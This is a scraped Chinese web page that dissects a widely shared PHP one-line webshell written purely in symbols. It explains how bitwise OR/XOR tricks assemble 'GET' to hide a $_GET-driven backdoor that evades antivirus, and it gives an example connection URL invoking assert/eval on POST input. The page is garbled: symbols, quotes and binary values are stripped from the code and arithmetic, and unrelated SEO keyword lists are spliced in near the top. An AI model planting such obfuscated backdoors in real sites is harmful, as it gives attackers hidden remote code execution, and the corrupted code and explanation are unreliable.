2000字范文,分享全网优秀范文,学习好帮手!
2000字范文 > 纯符号一句话webshell PHP代码详解

纯符号一句话webshell PHP代码详解

时间:2020-07-19 18:40:02

相关推荐

纯符号一句话webshell PHP代码详解

php教程|php手册

符号,一句话,webshell,PHP,代码,详解,以下,网

php教程-php手册

android demo 源码,vscode个性化背景图片,ubuntu页面缩放,tomcat+花生壳,智能抓取爬虫,php入口文件怎么写,胶南网站建设制作SEO优化排名lzw

以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。 lt;?php _=; _[]=; _=_; _=_[]|_[]|_[]^; {__}[_]{__}[__]; ?gt; 第一行: _=; 定义一个以下划线作为命名的字符变

源码编译器,ubuntu无法挂载位置,tomcat响应时间太长,自学爬虫项目,php类似codeql,抖音seo关键词排名技巧lzw

相册作者源码,ubuntu知识点,爬虫自学笔记解析,php 文件检索,seo12580lzw

以下是网上流传的一段由纯符号组成的一句话后门代码,这种代码混淆方法主要用以webshell免杀,本文中将详细剖析这段看似复杂的PHP变形代码。

lt;?php

_=;

_[]=;

_=_;

_=_[]|_[]|_[]^;

{__}[_]{__}[__];

?gt;

第一行:_=;

定义一个以下划线作为命名的字符变量:_,赋值为空。

此行实际上不影响代码执行效果,仅增加混淆效果。

第二行:_[]=;

定义一个_数组元素,其key为,赋值为空。

众所周知,PHP是个弱类型语言,也就是说PHP并不严格验证变量类型,所以这里作为数组了key,其值等同于,所以此行等同于_[]=;

此时_被定义为数组,覆盖上一行的定义。

第三行:_=_;

将变量_强制转换为字符串,因为此时_类型为数组,强制转换后的结果为字符串Array(string5Array),而非数组元素的值。

第四行:_=_[]|_[]|_[]^;

这一行涉及到计算机二进制的“或运算”和“异或运算”,这里先简单介绍下这两种运算规则:

、或运算,符号为|

运算规则:|=;|=;|=;|=;

简单来说,或运算前后两个对象只要有一个为,其值就为,否则为

2、异或运算,符号为^

运算规则:^=;^=;^=;^=;

简单来说,异或运算可以看成是判断前后两个对象是否相等的,如果两个对象不同(即为异),则值为,否则为

再回到代码上来,此行代码分三个部分_[]|、_[]|、_[]^,用连接符“”号相连,每个部分都是其中两个对象进行或运算或异或运算。

先看第一部分_[]|,很明显,这里是_[]和这两个对象进行“或运算”。

第一个对象_[](也就是_[]),要注意其值已经不是第二行定义的空值,因为在第三行时_变量已经被覆盖定义为字符串“Array”。这里涉及到另一个php知识细节:对于字符串[数字]结构,字符串将会当成数组处理,返回以后面数字作为索引的元素值,例如:x=abcd9com,则x[4]=9。可见,_[]值为字符串“Array”第一字符“A”。

第二个对象是一个特殊字符(注意:这不是短横,虽然长得很像,实际上是个特殊字符,此类符号在某些环境下无法识别而作为乱码处理。后面两部分中的特殊字符也如此。),暂不管为什么此处是这个特殊字符而不是其他字符,先在此行下增加一行测试代码显示这一行定义的_值:

var_dump_;

测试结果为:string3GET,可见,_[]|_[]|_[]^值GET,显而易见,_[]|值为“G”,_[]|值为“E”,_[]^值为“T”。

再先看第一部分_[]|值为G,上面已得到_[]值为“A”,即A|=G,下面分析下此等式:

“A”二进制:

“G”二进制:

|x=

通过或运算规则推导并参考ASCII码对照表,x值可能有以下几个结果:

ASCII可显示字符:F

ASCII可显示字符:G

ASCII控制字符:ACK,代表“确认回应”

ASCII控制字符:BEL,代表“响铃”

代码中的即为ASCII控制字符:ACK。其实另外三个字符也适用,为了增加混淆效果故采用这种特殊字符。

搞清楚第一部分,第B、第三部分也同理可推。

第五行:{__}[_]{__}[__];

此行可通过小括号分成两部分:{__}[_]和{__}[__],两部分结构均是{A}[B],区别仅是后面B是一条下划线还是两条小划线。

先看相同部分{__},这里涉及到大括号{}在php中的特性一个:在变量间接引用中进行定界,如abc为变量abc而{a}bc为变量a连接字符bc,了解了这一特性,而第四行对_赋值为“GET”,可见{__}即为变量_GET,加上后面[_],则为_GET[_],接收get的表单中的变量为_的值。小括号里的部分同理。

根据上面叙述,第五行代码还原后是:_GET[_]_GET[__];

至此,这段混淆代码已原形毕露,一句话后门代码原形为:_GET[_]_GET[__],传递特殊参数构建webshell链接网址(例如:http:wwwabcd9comwebshellphp?_=assertamp;__=eval_POST[a]),通过一句话木马客户端即可连接此URL。

原文地址:纯符号一句话webshell PHP代码详解, 感谢原作者分享。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。